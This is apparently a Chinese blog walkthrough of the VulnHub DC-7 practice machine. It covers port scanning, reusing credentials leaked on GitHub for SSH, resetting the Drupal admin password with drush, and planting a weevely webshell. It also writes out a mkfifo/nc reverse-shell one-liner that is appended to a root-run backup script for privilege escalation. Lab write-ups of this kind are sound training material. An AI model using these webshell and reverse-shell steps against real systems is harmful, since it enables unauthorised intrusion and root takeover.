准备工作

在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

已经知道了靶机的ip192.168.200.19  利用nmap进行端口探测

nmap -sV -p- 192.168.200.19

开放了80端口和22端口,打开80端口

可以看到CMS是Drupal8,左上角还有个登陆页面

但在尝试dirsearch扫目录,爆密码,搜漏洞都没有利用的点。

后面发现下面有一个@DC7USER,去搜一下还真有发现,DC7的作者上传了源码到github

下载来看看,在config.php找到了数据库的账号密码dc7user——MdR3xOgB7#dW

尝试用这个密码登陆了一下页面,失败

那用这个密码登陆一下ssh,成功

ssh dc7user@192.168.200.19

Drush

有一封邮件

看内容是通过这个脚本/opt/scripts/backups.sh将数据库自动备份到/home/dc7user/backups/website.sql,这个脚本还是root权限

看看这个脚本的内容

在backups.sh文件中主要发现了两个命令drush,gpg。

Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。gpg是加密的命令

查了一下drush命令可以修改密码,但是使用drush命令的时候要先切换到网站源码所在的目录,不然会报错

进入网站目录/var/www/html。用drush命令将admin的密码改成admin

drush user-password admin --password="admin"  

登陆网站看看.

weevely

进入后台发现这里可以编辑页面,那就可以写一句话木马,但是查到drupal8不支持php代码,查找资料发现需要导入一个模块

模块地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz  输入直接安装

选第二个选项,拉到下面将PHPFiter勾选,再拉到底部安装

然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码

输入phpinfo();看看能不能执行

成功,接下来使用weevely生成木马进行连接

weevely generate test test.php

然后将代码复制到编辑的地方保存

再使用weevely连接

weevely http://192.168.200.19/ test

连接成功 获得www-data权限

  

利用backups.sh提权

www-data对之前看到的backups.sh有修改权限

可以在这个脚本添加反弹shell的命令进行提权

很多服务器都将-e功能删除了,只能这样。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

cat /tmp/f 取出管道符中的内容,

|/bin/sh -i 2>&1 将前面取出的内容作为输入,输入给 /bin/sh,再将bash的标准错误输出 也作为标准输入 (2 >&1)给bash

然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh

然后打开kali终端 nc -lvf 9999 进行监听,可能要等挺长时间,因为这个脚本是隔一段时间执行一次

(这里我等了很久发现还没有反应,查看了一下sh文件根本没写进去,然后想cd出去发现还没有权限,还以为是我用weevely的方法有问题,网上其他人都是直接反弹shell的,后面发现是写入的路径有问题,应该使用绝对路径/opt/scripts/backups.sh。如果发现很久没反应一定要检查是不是哪里出问题了)

等了一段时间后反弹成功,拿到flag

参考文章

DC-7 靶机渗透测试 - Bitores - 博客园 (cnblogs.com)  

DC:7靶机-Walkthrough_ins1ght的博客-CSDN博客

vulnhub-DC:7靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  5. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  6. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. Centos8.3、docker部署springboot项目实战记录

    引言    目前k8s很是火热,我也特意买了本书去学习了一下,但是k8s动辄都是成百上千的服务器运维,对只有几台服务器的应用来说使用k8s就有点像大炮打蚊子.只有几台服务器的应用运维使用传统的tomc ...

  2. react 工程目录简介

    创建一个 todolist 项目,下图是其工程目录. node_modules文件夹 里面存放的是我们所建项目放所依赖的第三方的包 public文件夹 favicon.ico 图标文件,网页标题左上角 ...

  3. GetModuleFileName函数的用法

    函数的功能 获取exe可执行文件的绝对路径. 用法 通过获取到exe的路径,可以获取到程序路径下(父路径或者子路径)的一些其它文件路径. 函数原型 DWORD WINAPI GetModuleFile ...

  4. ASP.Net Core Configuration 理解与源码分析

    Configuration 在ASP.NET Core开发过程中起着很重要的作用,这篇博客主要是理解configuration的来源,以及各种不同类型的configuration source是如何被 ...

  5. CentOS7日志管理工具 journalctl

    1.简介 日志管理工具journalctl是centos7上专有的日志管理工具,该工具是从message这个文件里读取信息. Systemd统一管理所有Unit的启动日志.带来的好处就是,可以只用jo ...

  6. Nexus3搭建Docker等私服

    0.目的 docker私有仓库的搭建,方便后期的CI/CD dotnetcore项目sdk本地缓存,解决微软官方下载缓慢的问题 nuget私有仓库 等 1.环境情况 windows10 Docker ...

  7. 温故知新,DotNet Core SDK和.Net CLI十八般武艺

    简介 .NET命令行接口 (CLI) 工具是用于开发.生成.运行和发布.NET应用程序的跨平台工具链. https://docs.microsoft.com/zh-cn/dotnet/core/too ...

  8. Harbor镜像仓库

    Harbor镜像仓库 作者 刘畅 时间 2020-7-11 微信 目录 1.下载离线安装包 1 2.安装docker 1 3.安装docker-compose 2 4.自签TLS证书 2 4.1.创建 ...

  9. keycloak~自定义rest接口

    rest资源 对于我们集成keycloak来说,你可能会遇到它没有实现的功能,这时需要对kc进行扩展,资源的扩展是其中一个方面,它需要实现RealmResourceProvider和RealmReso ...

  10. mysql binlog恢复数据实战

    在前面,我们了解了mysql binlog日志的作用以及使用方法:  http://www.php20.cn/article/237 在后面讲到了,可以通过binlog进行恢复数据,那么,具体步骤是怎 ...